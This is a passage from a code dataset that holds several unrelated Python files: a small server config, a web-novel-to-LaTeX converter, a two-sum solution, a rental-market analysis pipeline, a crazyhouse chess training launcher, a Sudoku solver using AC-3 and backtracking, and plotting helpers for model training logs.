zip_safe=False,\n)\n","repo_name":"douglasdaly/web-app-skeleton","sub_path":"src/backend/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"43136489072","text":"import os, logging\n\nDEBUG = True\nHOST = os.getenv('HOST')\nPORT = int(os.getenv('PORT', '5000'))\n\nlogging.basicConfig(\n filename=os.getenv('SERVICE_LOG', 'server.log'),\n level=logging.DEBUG,\n format='%(levelname)s: %(asctime)s pid:%(process)s module:%(module)s %(message)s',\n datefmt='%d/%m/%y %H:%M:%S',\n)\n\nSUPERHERO_API_URL = os.getenv('HOST', '127.0.0.1:5001')\n","repo_name":"achad4/reading-buddy","sub_path":"reading-server/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"404076989","text":"from sqlite3 import connect\r\nfrom utils import Utils\r\nimport re\r\n\r\ntools = Utils()\r\n\r\nf = open(\"Ore no kurasu ni wakagaetta motoyome ga iru.tex\", \"w\", encoding='utf-8')\r\nf.writelines(\"\"\"\r\n\\\\documentclass[12pt,a4paper, twosides]{book}\r\n% \\\\usepackage[left=20mm, right=20mm, top=1in, bottom=1.1in]{geometry}\r\n\\\\usepackage[utf8]{inputenc}\r\n\\\\usepackage[utf8]{vietnam}\r\n\\\\usepackage{amsmath}\r\n\\\\usepackage{amssymb}\r\n\\\\usepackage{fancyhdr}\r\n\\\\usepackage{fontspec}\r\n\\\\usepackage{amsfonts}\r\n\\\\usepackage{hyperref}\r\n\\\\usepackage{graphicx}\r\n\\\\usepackage[utf8]{inputenc}\r\n\\graphicspath{ {./images/} }\r\n\r\n% \\\\DeclareUnicodeCharacter{300C}{$\\\\lfloor$}\r\n% \\\\DeclareUnicodeCharacter{300D}{$\\\\rceil$}\r\n% \\\\DeclareUnicodeCharacter{25C6}{$\\\\mathbin{\\\\blacklozenge}$}\r\n% \\\\DeclareUnicodeCharacter{30FB}{$\\\\cdot$}\r\n\\\\newcommand*{\\\\mysymb}[1]{{\\\\fontspec{Droid Sans Fallback}\\\\symbol{#1}}}\r\n\r\n\r\n\\\\pagestyle{plain}\r\n\\\\fancyfoot[RE,LO]{\\\\thepage}\r\n\r\n\\\\begin{document}\r\n\"\"\")\r\n\r\nregex = re.compile(r\"(\\[note[0-9]*\\])\")\r\n\r\nfor chapter_id in range(0, tools.get_number_of_chapters()):\r\n# chapter_id = 3\r\n print(f\"Reading chapter {chapter_id}\")\r\n chapter = tools.get_content_chapter(chapter_id)\r\n f.writelines(\"\"\"\r\n \\\\begin{center}\r\n \\\\textbf{\\\\large \"\"\" + tools.get_title_chapter(chapter_id).replace('-', '\\\\\\\\') + \"\"\"}\r\n \\\\end{center}\r\n \"\"\")\r\n f.write(\"\\\\noindent\\n\")\r\n for line in chapter:\r\n content = line.contents[0]\r\n try:\r\n url = content[\"src\"]\r\n name = content[\"alt\"]\r\n content.has_attr(\"src\")\r\n # print(url, name)\r\n # tools.down_load_img(url, f\"assets/{name}\")\r\n f.write(\"\\\\begin{center}\\n\")\r\n f.write(f\"\\\\includegraphics[width=0.5\\textwidth]{{assets/{name}}}\\n\")\r\n f.write(\"\\\\end{center}\\n\")\r\n\r\n except:\r\n content = content.replace('\\u200e', '')\r\n content = content.replace('&', \"\\\\&\")\r\n content = content.replace('^', '\\\\^')\r\n content = content.replace('_', \"\\\\_\")\r\n content = content.replace('\\u3010', \"\\\\mysymb{\\\"3010}\")\r\n content = content.replace('\\u3011', \"\\\\mysymb{\\\"3011}\")\r\n content = content.replace('\\u300c', \"$\\\\lfloor$\")\r\n content = content.replace('\\u300d', \"$\\\\rceil$\")\r\n content = content.replace('\\u25c6', \"$\\\\mathbin{\\\\blacklozenge}$\")\r\n content = content.replace('\\u30fb', \"$\\\\cdot$\")\r\n\r\n content = regex.sub(r\"$^\\\\text{\\1}$\", content)\r\n if content == \"Đọc bản dịch gốc và ủng hộ nhóm dịch tại \":\r\n content += \"\\\\href{https://ln.hako.re/}{ln.hako.re}\"\r\n f.write(content)\r\n f.write('\\\\\\\\')\r\n f.write('\\n')\r\n f.write(\"\\\\newpage\\n\")\r\n\r\nf.write(\"\\\\end{document}\")","repo_name":"kurone02/ln-hako-crawl","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73789675361","text":"\nclass Solution:\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n # Create a dictionary to store the indices of elements we have seen so far.\n num_indices = {}\n \n # Iterate through the array.\n for i, num in enumerate(nums):\n # Calculate the complement (the number we need to reach the target).\n complement = target - num\n \n # Check if the complement exists in our dictionary.\n if complement in num_indices:\n # If it does, return the indices of the two numbers.\n return [num_indices[complement], i]\n \n # If the complement doesn't exist in the dictionary, store the current number's index.\n num_indices[num] = i\n \n # If no solution is found, return an empty list or handle it as needed.\n return []","repo_name":"nikhilmp448/my_Leetcode_challenge","sub_path":"twosum.py","file_name":"twosum.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12987797592","text":"\"\"\"\nThis module is gathering data from a remote google sheet.\n\"\"\"\nimport pandas as pd\nfrom dotenv import dotenv_values\nimport os\n\ndef get_data():\n \"\"\"\n This function is gathering data from a remote google sheet.\n\n :param : None\n :return df_loc: filtered and formatted pandas dataframe for rents\n :return df_global: filtered and formatted pandas dataframe for global indicators on districts\n :return df_vente_total: unfiltered data on sells\n :return df_vente : sells data filtered on the latest years (2020)\n \"\"\"\n\n # GET DB Vente\n df_vente_total = pd.read_pickle(r\"df_vente_total.pickle\")\n\n # Get Forecasts\n forecast_count = pd.read_pickle(r\"forecast_count.pickle\")\n forecast_price = pd.read_pickle(r\"forecast_price.pickle\")\n\n # PROD MOD\n if os.environ.get(\"ENV\") == \"PROD\":\n id = os.environ.get(\"SHEET_ID\")\n\n # TEST MOD\n else:\n config = dotenv_values(\".env\")\n id = config[\"SHEET_ID\"]\n\n # Credentials\n sheet_name = \"Rouen_Data\"\n url = f\"https://docs.google.com/spreadsheets/d/{id}/gviz/tq?tqx=out:csv&sheet={sheet_name}\"\n\n # Import\n df = pd.read_csv(url)\n df = df.drop_duplicates(subset=['Titre Annonce',\n 'offre [loc/achat]',\n 'surface [m2]',\n 'prix au m2 [euros]',\n 'Localisation',\n 'Compte'],\n keep='last')\n\n # Filtering DATA\n df_loc = df[df[\"offre [loc/achat]\"] == \"location\"]\n df_loc = df_loc[df_loc[\"Localisation\"].str.startswith(\"Rouen\")]\n\n # Formating\n columns_index = [3, 4] #index columns to float\n for index in columns_index:\n df_loc.iloc[:, index] = [x.replace(',', '.') for x in df_loc.iloc[:, index]] # Decimal sep\n df_loc.iloc[:, index] = [x.replace(' €', '') for x in df_loc.iloc[:, index]] # euros sign\n df_loc.iloc[:, index] = [x.replace('\\u202f', '') for x in df_loc.iloc[:, index]] # thousands sep\n df_loc.iloc[:, index] = df_loc.iloc[:, index].astype(float) # float convertion\n\n # Filtering on latest years (2020)\n df_vente = df_vente_total[df_vente_total[\"Années\"] == 2021]\n\n # Group data with mean and count\n df_vente_group = df_vente.groupby([\"Quartier\"]).mean()\n df_vente_count = df_vente.groupby([\"Quartier\"]).count()\n df_vente_group[\"count\"] = df_vente_count[\"valeur_fonciere\"]\n df_vente_group = df_vente_group.sort_values(\"prix au m2\", ascending=False)\n df_vente_group = df_vente_group[df_vente_group[\"count\"] > 4]\n df_loc_group = df_loc.groupby([\"Localisation\"]).mean()\n df_loc_count = df_loc.groupby([\"Localisation\"]).count()\n\n # DF Global creation\n df_global = pd.DataFrame()\n df_global[\"prix au m2 location\"] = df_loc_group[\"prix au m2 [euros]\"]\n df_global[\"nb de location %\"] = df_loc_count[\"prix au m2 [euros]\"] / df_loc_count[\"prix au m2 [euros]\"].sum() * 100\n df_global = df_global[df_global[\"nb de location %\"] > 1.5]\n df_global[\"prix au m2 vente\"] = df_vente_group[\"prix au m2\"]\n df_global[\"nb d'achat %\"] = df_vente_count[\"prix au m2\"] / df_vente_count[\"prix au m2\"].sum() * 100\n df_global[\"latitude\"] = df_vente_group[\"latitude\"]\n df_global[\"longitude\"] = df_vente_group[\"longitude\"]\n df_global[\"rendement brut %\"] = df_global[\"prix au m2 location\"] * 12 / df_global[\"prix au m2 vente\"] * 100\n df_global[\"tension %\"] = df_global[\"nb de location %\"] - df_global[\"nb d'achat %\"]\n df_global[\"indicateur\"] = (df_global[\"tension %\"] * 2 + df_global[\"rendement brut %\"]) / 3\n df_global[\"rank\"] = df_global[\"indicateur\"].rank(ascending=True)\n\n return df_loc, df_global, df_vente_total, df_vente, forecast_count, forecast_price","repo_name":"FredericGodest/Immo-insights","sub_path":"sheet_pipeline.py","file_name":"sheet_pipeline.py","file_ext":"py","file_size_in_byte":3773,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"26865967514","text":"import os\nimport logging\n\nimport coloredlogs\n\nfrom Coach import Coach\nfrom Trainer import Trainer\nfrom crazyhouse.python.CrazyhouseGame import CrazyhouseGame as Game\n# from crazyhouse.cpp.game import GameCpp as Game\nfrom crazyhouse.GameBoard import GameBoard\nfrom crazyhouse.NNet import NNetWrapper as nn\nfrom utils import *\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\nlog = logging.getLogger(__name__)\n\ncoloredlogs.install(level='INFO') # Change this to DEBUG to see more info.\n\nargs = dotdict({\n 'numIters': 10,\n 'numEps': 50, # Number of complete self-play games to simulate during a new iteration.\n 'tempThreshold': 15, #\n 'updateThreshold': 0.6, # During arena playoff, new neural net will be accepted if threshold or more of games are won.\n 'maxlenOfQueue': 200000, # Number of game examples to train the neural networks.\n 'numMCTSSims': 100, # Number of games moves for MCTS to simulate.\n 'arenaCompare': 10, # Number of games to play during arena play to determine if new net will be accepted.\n 'cpuct': 1,\n 'cpuct_init': 2.5,\n 'cpuct_base': 19652,\n 'u_min': 0.25,\n 'u_init': 1.0,\n 'u_base': 1965,\n 'Q_thresh_init': 0.5,\n 'Q_thresh_max': 0.9,\n 'Q_thresh_base': 1965,\n 'Q_factor': 0.7,\n 'check_thresh': 0.1,\n 'check_factor': 0.5,\n\n 'checkpoint': './temp/',\n 'load_model': False,\n 'load_folder_file': ('./checkpoint/','human_data_100%.pth.tar'),\n 'numItersForTrainExamplesHistory': 20,\n 'num_threads': 5\n\n})\n\n\ndef main():\n print(\"Operating modes:\")\n print(\" 1. Train with human data\")\n print(\" 2. Train with self-play\")\n print()\n mode = input(\"Select mode: \")\n\n try:\n mode = int(mode)\n except:\n print(\"Please insert only the number of the selected mode.\")\n exit(0)\n\n if mode == 1:\n num_games = input(\"Insert number of games to train with: \")\n\n try:\n num_games = int(num_games)\n except:\n print(\"Please insert only the number of games.\")\n exit(0)\n\n log.info(\"Starting %s...\", Trainer.__name__)\n\n t = Trainer()\n\n t.train_with_games(\"./data/training/training_set.pgn\", num_games)\n else:\n log.info('Loading %s...', Game.__name__)\n g = Game()\n\n log.info('Loading %s...', nn.__name__)\n nnet = nn(g)\n\n if args.load_model:\n log.info('Loading checkpoint...')\n nnet.load_checkpoint(args.load_folder_file[0], args.load_folder_file[1])\n else:\n log.warning('Not loading a checkpoint!')\n\n log.info('Loading the Coach...')\n c = Coach(g, nnet, args)\n\n #if args.load_model:\n # log.info(\"Loading 'trainExamples' from file...\")\n # c.loadTrainExamples()\n\n log.info('Starting the learning process 🎉')\n c.learn()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AneiMakovec/AI-project-crazyhouse","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6136313728","text":"def temp():\r\n ano = int(input())\r\n conv = -2015\r\n conv += ano\r\n return f\"{abs(conv)} D.C.\" if ano < 2015 else f\"{abs(conv) + 1} A.C.\"\r\n\r\n\r\ndef loop_temp(inp = int(input())):\r\n result = []\r\n for i in range(inp):\r\n result.append(temp())\r\n return result\r\n\r\nprint(*loop_temp(), sep = \"\\n\")\r\n","repo_name":"HeyLucasLeao/URI","sub_path":"1962.py","file_name":"1962.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26979396809","text":"import numpy as np\nimport pandas as pd\nimport sys\n\n\nclass SudokuHelper:\n ROWS = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I']\n COLUMNS = ['1', '2', '3', '4', '5', '6', '7', '8', '9']\n GRID_SET_OFFS = [0, 3, 6]\n n_rows = len(ROWS)\n n_columns = len(COLUMNS)\n\n def add_to_constraint_list(self, constraint_list: list, entry_list: list):\n len_entry_list = len(entry_list)\n for ind_1 in range(len_entry_list - 1):\n for ind_2 in range(ind_1 + 1, len_entry_list):\n new_entry_list = [[entry_list[ind_1], entry_list[ind_2], 'NOT_EQUAL'],\n [entry_list[ind_2], entry_list[ind_1], 'NOT_EQUAL']]\n for entries in new_entry_list:\n if not entries in constraint_list:\n constraint_list.append(entries)\n\n def get_binary_constraint_list(self):\n constraint_list = []\n # add row constraints to the list\n for ind_r in range(self.n_rows):\n entry_list = []\n for ind_c in range(self.n_columns):\n entry_list.append(self.ROWS[ind_r] + self.COLUMNS[ind_c])\n self.add_to_constraint_list(constraint_list, entry_list)\n\n # add column constraints to the list\n for ind_c in range(self.n_columns):\n entry_list = []\n for ind_r in range(self.n_rows):\n entry_list.append(self.ROWS[ind_r] + self.COLUMNS[ind_c])\n self.add_to_constraint_list(constraint_list, entry_list)\n\n # add grid constraints to the list\n for off_set_r in self.GRID_SET_OFFS:\n for off_set_c in self.GRID_SET_OFFS:\n entry_list = []\n for ind_r in range(off_set_r, off_set_r + 3):\n for ind_c in range(off_set_c, off_set_c + 3):\n entry_list.append(self.ROWS[ind_r] + self.COLUMNS[ind_c])\n self.add_to_constraint_list(constraint_list, entry_list)\n return constraint_list\n\n\nclass Queue: # First in - first out FIFO\n def __init__(self):\n self.items = []\n\n @property\n def is_empty(self):\n return self.items == []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n return self.items.pop()\n\n def is_element(self, item):\n return item in self.items\n\n def size(self):\n return len(self.items)\n\n\nclass SudokuConstraints:\n def __init__(self):\n self.df = self.get_data_frame()\n # self.print_df_details()\n\n def print_df_details(self):\n print(self.df.info())\n print(self.df.head())\n\n @staticmethod\n def get_data_frame():\n df = pd.DataFrame(SudokuHelper().get_binary_constraint_list())\n df.columns = ['Node_1', 'Node_2', 'Constraint']\n return df\n\n def get_all_constraints_for_node(self, node: str):\n df = self.df[self.df.Node_1 == node]\n # print('constraints for node {}\\n{}'.format(node, df))\n return df\n\n def get_all_constraints_for_nodes(self, node_1: str, node_2: str):\n df = self.df[np.logical_and(self.df.Node_1 == node_1, self.df.Node_2 == node_2)]\n # print('constraints for node {} and {}\\n{}'.format(node_1, node_2, df))\n return df\n\n\nclass DomainController:\n def __init__(self, dic: dict, constraints: SudokuConstraints):\n self.constraints = constraints\n self.dic = {}\n self.init_dic(dic)\n\n def init_dic(self, dic: dict):\n for key in dic:\n self.dic[key] = list(dic[key])\n\n def is_assignment_complete(self):\n for variable in self.dic:\n if len(self.dic[variable]) > 1:\n return False\n return self.are_domains_consistent() # this check has to be done after the first check\n\n def are_domains_consistent(self):\n for variable in self.dic:\n if len(self.dic[variable]) == 1:\n if not self.is_single_value_consistent(variable, self.dic[variable][0]):\n return False\n else:\n multi_values_consistent = False\n for value in self.dic[variable]:\n if self.is_single_value_consistent(variable, value):\n multi_values_consistent = True\n break\n if not multi_values_consistent:\n return False\n return True\n\n def get_total_length(self):\n length = 0\n counter = 0\n for key in self.dic:\n counter = counter + 1\n length = length + len(self.dic[key])\n return length\n\n def remove_values_from_neighors(self):\n for variable in self.dic:\n if len(self.dic[variable]) == 1:\n self.remove_value_from_neighbors(variable)\n\n def remove_value_from_neighbors(self, variable: str):\n if len(self.dic[variable]) == 1: # remove this value from the related variables\n value = self.dic[variable][0]\n df_neighbors = self.constraints.get_all_constraints_for_node(variable)\n for ind, rows in df_neighbors.iterrows():\n if rows['Constraint'] == 'NOT_EQUAL':\n variable_node_2 = rows['Node_2']\n domain_node_2 = self.dic[variable_node_2]\n if value in domain_node_2 and len(self.dic[variable_node_2]) > 1:\n domain_node_2.remove(value)\n if len(domain_node_2) == 1:\n self.remove_value_from_neighbors(variable_node_2)\n\n def get_unassigned_mrv_variable(self):\n for i in range(2, 10):\n for variable in self.dic:\n if len(self.dic[variable]) == i:\n return variable\n\n def is_single_value_consistent(self, variable: str, value: int):\n df_neighbors = self.constraints.get_all_constraints_for_node(variable)\n for ind, rows in df_neighbors.iterrows():\n if rows['Constraint'] == 'NOT_EQUAL':\n domain_node_2 = self.dic[rows['Node_2']]\n if len(domain_node_2) == 1 and value == domain_node_2[0]:\n return False\n return True\n\n\nclass SudokuBoard:\n def __init__(self, input_str):\n self.str = input_str\n self.np_array = self.get_array_from_str()\n self.sorted_variable_list = []\n self.init_sorted_variable_list()\n self.value_dic = {}\n self.domain_dic = {}\n self.init_value_dic()\n self.init_domain_dic()\n self.grids_dic = {}\n self.min_non_assigned_values_in_grid = 0 # will be updated in init_grids_dic\n self.grid_min_non_assigned_values_in_grid = ''\n self.init_variables_min_non_assigned_values_in_grid()\n self.init_grids_dic()\n # print(self.np_array)\n\n def init_variables_min_non_assigned_values_in_grid(self):\n self.min_non_assigned_values_in_grid = 10 # default\n for grid_key in self.grids_dic:\n new_number = self.grids_dic[grid_key].not_assigned\n if new_number < self.min_non_assigned_values_in_grid:\n self.min_non_assigned_values_in_grid = new_number\n self.grid_min_non_assigned_values_in_grid = grid_key\n\n def print_details(self):\n print(self.np_array)\n print(self.value_dic)\n print(self.domain_dic)\n self.print_number_unassigned()\n\n def init_sorted_variable_list(self):\n self.sorted_variable_list = []\n for ind_r, row_name in enumerate(SudokuHelper.ROWS):\n for ind_c, column_name in enumerate(SudokuHelper.COLUMNS):\n self.sorted_variable_list.append(row_name + column_name)\n\n def init_value_dic(self):\n self.value_dic = {}\n for ind_r, row_name in enumerate(SudokuHelper.ROWS):\n for ind_c, column_name in enumerate(SudokuHelper.COLUMNS):\n self.value_dic[row_name + column_name] = self.np_array[ind_r, ind_c]\n\n def init_domain_dic(self):\n self.domain_dic = {}\n for ind_r, row_name in enumerate(SudokuHelper.ROWS):\n for ind_c, column_name in enumerate(SudokuHelper.COLUMNS):\n if self.np_array[ind_r, ind_c] == 0:\n self.domain_dic[row_name + column_name] = [i for i in range(1, 10)]\n else:\n self.domain_dic[row_name + column_name] = [self.np_array[ind_r, ind_c]]\n\n def print_number_unassigned(self):\n for grid_key in self.grids_dic:\n print('self.grids_dic[{}].not_assigned: {}'.format(grid_key, self.grids_dic[grid_key].not_assigned))\n\n def get_array_from_str(self):\n np_array = np.array(list(self.str), dtype=int)\n return np_array.reshape(9, 9)\n\n def init_grids_dic(self):\n set_offs = [0, 3, 6]\n self.grids_dic = {}\n\n for r in range(self.np_array.shape[0]):\n self.grids_dic['R' + str(r + 1)] = SudokuGrid(self.np_array[r, :])\n\n for c in range(self.np_array.shape[1]):\n self.grids_dic['C' + str(c + 1)] = SudokuGrid(self.np_array[:, c])\n\n for ind_x, x in enumerate(set_offs):\n for ind_y, y in enumerate(set_offs):\n sub_array = self.np_array[x:x + 3, y:y + 3]\n self.grids_dic['Q' + str(ind_x + 1) + str(ind_y + 1)] = SudokuGrid(sub_array)\n\n def clone(self):\n return SudokuBoard(*self.str)\n\n # def is_identical(self, board_compare):\n # return self.arg_str == board_compare.arg_str\n\n\nclass SudokuGrid:\n def __init__(self, input_array: np.array):\n self.np_array = input_array.reshape(1, 9)\n\n @property\n def not_assigned(self):\n return self.np_array.size - np.count_nonzero(self.np_array)\n\n\nclass Solver:\n def __init__(self, input_str: str):\n self.str = input_str\n self.sudoku = SudokuBoard(self.str)\n self.sorted_variable_list = self.sudoku.sorted_variable_list\n self.value_dic = self.sudoku.value_dic\n self.domain_dic = self.sudoku.domain_dic\n self.constraints = SudokuConstraints()\n self.arc_queue = Queue()\n self.init_arc_queue()\n # print('len of arc_queue = {} - expected: 288 arcs'.format(self.arc_queue.size()))\n\n def get_sudoku_solution(self, write_results_to_new_array: bool):\n self.perform_ac3(write_results_to_new_array)\n domain_controller = DomainController(self.domain_dic, self.constraints)\n resolved_by_ac3 = domain_controller.is_assignment_complete()\n # resolved_by_ac3 = False\n if not resolved_by_ac3:\n resolved_by_bts = self.perform_bts(self.domain_dic, write_results_to_new_array)\n if not (resolved_by_ac3 or resolved_by_bts):\n return self.str + ' NOT RESOLVED BY AC3 AND BTS'\n assignment = self.get_assignment()\n if resolved_by_ac3:\n return assignment + ' AC3'\n else:\n return assignment + ' BTS'\n\n def write_solution_to_output_file(self, output_file: str):\n with open(output_file, 'w') as file_obj:\n file_obj.write(self.get_sudoku_solution(False))\n\n def get_assignment(self):\n assignment = ''\n for sorted_variable in self.sorted_variable_list:\n assignment = assignment + str(self.domain_dic[sorted_variable][0])\n return assignment\n\n \"\"\"\n function Backtracking Algorithm (BTS)\n\n function BACKTRACKING_SEARCH(csp) returns a solution, or failure\n return BACKTRACK({}, csp)\n\n function BACKTRACK(assigment, csp): returns a solution, or failure\n if assignment is complete then return assignment\n var = SELECT_UNASSIGNED_VARIABLES(csp)\n for each value in ORDER_DOMAIN_VALUES(var, assignment, csp)\n if value is consistent with assignment then\n add {var = value} to assignment & forward checking to reduce variables domains\n result = BACKTRACK(assignment, csp)\n if result != failure then return result\n remove {var = value} from assignment\n return failure\n \"\"\"\n\n def perform_bts(self, domain_dic: dict,\n write_results_to_new_array: bool = False): # QUEUE: FIRST IN FIRST OUT (FIFO)\n domain_controller = DomainController(domain_dic, self.constraints)\n # domain_controller.remove_values_from_neighors()\n if domain_controller.is_assignment_complete():\n for variables in domain_controller.dic:\n self.domain_dic[variables] = domain_controller.dic[variables]\n if write_results_to_new_array:\n self.write_results_to_new_array()\n return True\n\n unassigned_mrv_variable = domain_controller.get_unassigned_mrv_variable()\n for value in domain_controller.dic[unassigned_mrv_variable]:\n if domain_controller.is_single_value_consistent(unassigned_mrv_variable, value):\n domain_controller_old = DomainController(domain_controller.dic, self.constraints)\n domain_controller.dic[unassigned_mrv_variable] = [value]\n domain_controller.remove_value_from_neighbors(unassigned_mrv_variable)\n if domain_controller.are_domains_consistent():\n # self.print_current_state(unassigned_mrv_variable, value, domain_controller_old, domain_controller)\n next_call_result = self.perform_bts(domain_controller.dic, write_results_to_new_array)\n if next_call_result:\n return True\n domain_controller = DomainController(domain_controller_old.dic, self.constraints)\n return False\n\n def print_current_state(self, variable: str, value: int, domain_controller_old: DomainController,\n domain_controller: DomainController):\n print('Variable = {}, Domain = {}, Value = {}, len.Controller = {}, '\n 'Domain_after_change = {}, len.Controller_after_change = {}'.format(\n variable, domain_controller_old.dic[variable], value, domain_controller_old.get_total_length(),\n domain_controller.dic[variable], domain_controller.get_total_length()))\n\n \"\"\"\n function AC-3(csp)\n returns False if an inconsistence is found. True otherwise\n inputs: csp, a binary CSP with components (X, D, C)\n local variables: queue, a queue of arcs, initially all the arcs in csp\n\n while queue is not empty do\n (Xi, Xj) = REMOVE-FIRST(queue)\n if Revise(csp, Xi, Xj) then\n if size of Di = 0 then return False\n for each Xk in Xi NEIGHBORS - {Xj} do \n add (Xk, Xi) to queue\n return true\n \"\"\"\n\n def perform_ac3(self, write_results_to_new_array: bool = False): # QUEUE: FIRST IN FIRST OUT (FIFO)\n while not self.arc_queue.is_empty:\n queue_entry = self.arc_queue.dequeue()\n if self.revise(queue_entry[0], queue_entry[1]):\n if len(self.domain_dic[queue_entry[0]]) == 0:\n return False\n else:\n self.add_neighbors_to_arc_queue(queue_entry[0], queue_entry[1], 2)\n if write_results_to_new_array:\n self.write_results_to_new_array()\n return True\n\n def write_not_assignable_domain_entries(self):\n print('Not assignable entries:\\n')\n for key in self.domain_dic:\n if len(self.domain_dic[key]) > 1:\n print('{}: {}'.format(key, self.domain_dic[key]))\n\n def write_results_to_new_array(self):\n np_result = np.array(self.sudoku.np_array)\n for key in self.domain_dic:\n if len(self.domain_dic[key]) == 1:\n value = self.domain_dic[key][0]\n ind_r = SudokuHelper.ROWS.index(key[0])\n ind_c = SudokuHelper.COLUMNS.index(key[1])\n np_result[ind_r, ind_c] = value\n print('Result:\\n{}'.format(np_result))\n\n def init_arc_queue(self):\n for ind_r in range(SudokuHelper.n_rows):\n for ind_c in range(SudokuHelper.n_columns):\n self.add_neighbors_to_arc_queue(SudokuHelper.ROWS[ind_r] + SudokuHelper.COLUMNS[ind_c])\n\n def add_neighbors_to_arc_queue(self, node: str, node_to_skip: str = '', position: int = 1):\n neighbors = self.get_node_neighbors(node)\n for neighbor in neighbors:\n if neighbor != node_to_skip:\n if position == 1:\n new_entry = [node, neighbor]\n else:\n new_entry = [neighbor, node]\n if not self.arc_queue.is_element(new_entry):\n self.arc_queue.enqueue(new_entry)\n\n def get_node_neighbors(self, node: str):\n neighbors = []\n fd_neighbors = self.constraints.get_all_constraints_for_node(node)\n for ind, row in fd_neighbors.iterrows():\n neighbor = row['Node_2']\n if not neighbor in neighbors:\n neighbors.append(neighbor)\n return neighbors\n\n def revise(self, node_i: str, node_j: str):\n revised = False\n domain_i = self.sudoku.domain_dic[node_i]\n domain_j = self.sudoku.domain_dic[node_j]\n df_ij = self.constraints.get_all_constraints_for_nodes(node_i, node_j)\n for ind, rows in df_ij.iterrows():\n if rows['Constraint'] == 'NOT_EQUAL':\n for x in domain_i:\n constraint_satisfied = False\n for y in domain_j:\n if x != y:\n constraint_satisfied = True\n break\n if not constraint_satisfied:\n domain_i.remove(x)\n revised = True\n return revised\n\n\n# AC3\n# '000001000020000008691200000000000014102506003800020506005000000730000000006319405'\n# '000260701680070090190004500820100040004602900050003028009300074040050036703018000'\n\n# BTS\n# 000000000302540000050301070000000004409006005023054790000000050700810000080060009\n# 059030100000000800000800032020000000900000580360007004090780005000050010002003700\n\n\ntest = False\n\nif test:\n solver = Solver('000001000020000008691200000000000014102506003800020506005000000730000000006319405')\n print(solver.get_sudoku_solution(False))\nelif len(sys.argv) > 1: # started from command prompt\n input_str = sys.argv[1].upper()\n solver = Solver(input_str)\n solver.write_solution_to_output_file('output.txt')\nelse:\n df = pd.read_csv('sudoku_start.txt', header=None)\n df.columns = ['C1']\n for ind, rows in df.iterrows():\n solver = Solver(rows['C1'])\n # print('{} INPUT for line {}:'.format(solver.str, ind))\n print(solver.get_sudoku_solution(False))\n if ind > 20:\n break\n\n\n\n\n\n\n\n\n","repo_name":"SertlAnalytics/PycharmProjects","sub_path":"Courses/edX_AI/driver_3_week_09.py","file_name":"driver_3_week_09.py","file_ext":"py","file_size_in_byte":18754,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"17414730525","text":"import matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nimport data_handler\n\nbase_path = \"/home/yannick/Dropbox/Universität/Bachelorarbeit/Trained Models/\"\nconfigs = [\"C1T1\", \"C1T2\", \"C1T3\", \"C1R1\", \"C1R2\", \"C1R3\"]\nconfigs2 = [\"C2T1\", \"C2T2\", \"C2T3\", \"C2R1\", \"C2R2\", \"C2R3\"]\nc1_data = []\nfor element in configs:\n c1_data.append(base_path + element + \"/log.txt\")\n\ndef accuracy_graph(path, start=3):\n f = open(path)\n text = f.readlines()\n text = text[start:]\n acc = []\n for i in range(len(text)):\n if i % 14 == 0:\n acc.append(float(text[i].split()[-1]))\n if len(acc) >= 251:\n break\n f.close()\n return acc\n\ndef accuracy_graph_2(path, start=27):\n f = open(path)\n text = f.read().split()\n text = text[start:]\n acc = []\n for i in range(len(text)):\n if i % 37 == 0:\n acc.append(float(text[i][:-5]))\n f.close()\n return acc\n\ndef moving_average(numbers, window_size=3):\n i = 0\n moving_averages = []\n while i < len(numbers) - window_size + 1:\n this_window = numbers[i : i + window_size]\n window_average = sum(this_window) / window_size\n moving_averages.append(window_average)\n i += 1\n return moving_averages\n\ndef plot_graph(paths, colors=None):\n plot_data = [moving_average(accuracy_graph(path, start=8)) for path in paths]\n if colors != None:\n for i, element in enumerate(plot_data):\n plt.plot(element, colors[i])\n else:\n for element in plot_data:\n plt.plot(element)\n plt.xlabel(\"Epochs\")\n plt.ylabel(\"Loss\")\n\ndef plot_scores(scores):\n for i, score in enumerate(scores):\n plt.plot(i, score['f'], 'bo')\n plt.plot(i, score['r'], 'ro')\n plt.plot(i, score['p'], 'go')\n\n plt.xticks([0, 1, 2, 3, 4, 5, 6, 7], [\"T1\", \"R1\", \"T2\", \"R2\", \"T3\", \"R3\", \"T4\", \"R4\"])\n\n red_patch = mpatches.Patch(color='red', label='Recall')\n blue_patch = mpatches.Patch(color='blue', label='F-Score')\n green_patch = mpatches.Patch(color='green', label='Precision')\n plt.legend(handles=[blue_patch, red_patch, green_patch])\n\ndef plot_dataset(length_list, text='article'):\n plt.boxplot(length_list, sym='')\n plt.ylabel(\"Text length in subword units\")\n plt.tick_params(\n axis='x', \n which='both', \n bottom=False, \n top=False, \n labelbottom=False) \n\ndef bar_graph(length_list, values):\n def make_labels(values):\n labels = []\n labels.append (\"<\" + str(values[1]))\n for i in range(len(values[2:])):\n labels.append(str(values[i-1]) + \"-\" + str(values[i]))\n labels.append(\">\" + str(values[-1]))\n 